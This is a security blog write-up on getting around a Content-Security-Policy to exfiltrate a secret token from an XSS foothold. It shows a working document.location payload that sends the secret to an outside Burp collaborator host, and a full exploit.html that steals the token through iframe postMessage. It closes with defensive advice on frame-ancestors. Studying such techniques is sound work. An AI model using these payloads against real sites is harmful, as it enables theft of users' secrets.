Oftentimes, when exploiting Cross-Site Scripting (XSS) vulnerabilities, it is trivial to trigger an alert() popup on a page. However, practical exploitation is frequently thwarted by Content-Security-Policy (CSP) restrictions. In this article we want to take a look at a CSP configuration that prevents loading external resources (e.g., images, scripts, etc.) and evaluate how we may still be able to exfiltrate data from a vulnerable client through additional means.

This scenario has been created closely along the behavior of an actual client page and is based on the following setup:

  • We positively identified an XSS vulnerability in the GET parameter "g"
XSS in the "g" GET parameter
  • The vulnerable page returns the following CSP configuration and prevents loading of external resources thus blocking any data exfiltration:
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: *.andresr.de;
  • We want to exfiltrate the victim user's secret token stored in the <div> with the id "secret".

XSS Data Exfiltration Attempts

  • When attempting to embed an image using the src attribute, we run into the restrictions of the CSP right away:
The external resource load (img src) is blocked by CSP.

Quick win: Using document.location

After writing this article I noticed that a pretty easy way of exfiltrating the secret token exists by just abusing a document.location redirect and passing data to it in a GET parameter. The only thing that needs to be ensured is that the redirect is triggered once the page has fully loaded. Otherwise, the <div> tag with the secret token is not present yet and we run into the following error:

immediate redirect via <script>document.location = ... results in null error

This can be resolved with a simple timeout via the JavaScript built-in setTimeout() callback mechanism:

http://app.local:8080/?g=<script>setTimeout(()=>{document.location='http://burp.oastify.com/?c='%2bdocument.getElementById('secret').textContent},1);</script>
extracting the secret token with a 1-second timeout succeeds

However, this simple & elegant solution only occurred to me after exploring another way of exfiltrating data. If you are interested, I suggest to continue reading what other way of transporting the secret I found. After all, maybe the document.location technique fails (because you never know what oddities the JS framework has implemented in your target DOM ;) ) and then you have an alternative to try out:

The Creative Way: postMessage() to iframe Parent Window:

After finding the initial XSS vulnerability I thought about several ways of circumventing the CSP restrictions and immediately my journey through PortSwigger's XSS labs popped up in my mind along with their lab on postMessage() XSS:

Controlling the web message source | Web Security Academy
In this section, we’ll look at how web messages can be used as a source to exploit DOM-based vulnerabilities on the recipient page. We’ll also describe how…

I recalled that once you embed a site via an iframe, you can send postMessages to this embedded window context. This got me wondering, if you can embed the target page via an iframe and actually send a message back to the parent window somehow. Looking at Mozilla's JavaScript reference I found a suitable article right away:

Window: parent property - Web APIs | MDN
The Window.parent property is a reference to the parent of the current window or subframe.

This got me to create a sample exploit which includes the following steps:

  • Create an empty iframe
  • Register a handler for MessageEvent on the attacker's page and display any received messages in the console (for exemplary purposes)
  • Load the vulnerable target page in the iframe (via a delayed iframe.src = ... call)
    • Embed an XSS exploit into the "g" parameter that sends a postMessage() to window.parent. Like previously with the document.location approach, wait 1 second until the DOM is loaded and the secret token can be referenced (via setTimeout(...,1))
<html>
  <body>
    <iframe id="target" src=""></iframe>
    <script>
      window.addEventListener(
        "message",
        (event) => {
          console.log(event);
        },
        false
      );
      var target = document.getElementById("target");

      setTimeout(() => {
        target.src =
          "http://app.local:8080/?g=%3Cscript%3EsetTimeout(()=%3E{window.parent.postMessage(document.getElementById(%27secret%27).textContent,%22*%22)},1);%3C/script%3E";
      }, 3);
    </script>
  </body>
</html>

Sample exploit.html that a victim needs to open

Looking at the exection of exploit.html in a browser we can see that we successfully exfiltrated the secret token using postMessage() from the target page (iframe child window) to the attacker-controlled page (parent window of the iframe):

As we can see, the exploit successfully exfiltrates data from the child to the parent frame using postMessage()

Takeaway

Cross-Document Messaging has been introduced to the HTML standard rather late with a first draft being published for HTML5 in 2008 (see here). It is thus still worthwhile taking a deeper look at how this mechanism is implemented and how it may be (ab-)used by attackers seeking to manipulate HTML contexts.

Looking at the CSP bypass I demonstrated here, it becomes apparent that hardening your site using a restrictive frame-ancestors CSP directive may not just defend against Clickjacking attacks, but a whole dimension of iframe based exploitation techniques.

CSP: frame-ancestors - HTTP | MDN
The HTTP Content-Security-Policy (CSP) frame-ancestors directive specifies valid parents that may embed a page using <frame>, <iframe>, <object>, or <embed>.

Circumventing CSP Restrictions to Exfil Data from an XSS Foothold

Exfiltrate sensitive data from XSS contexts via Cross-Document Messaging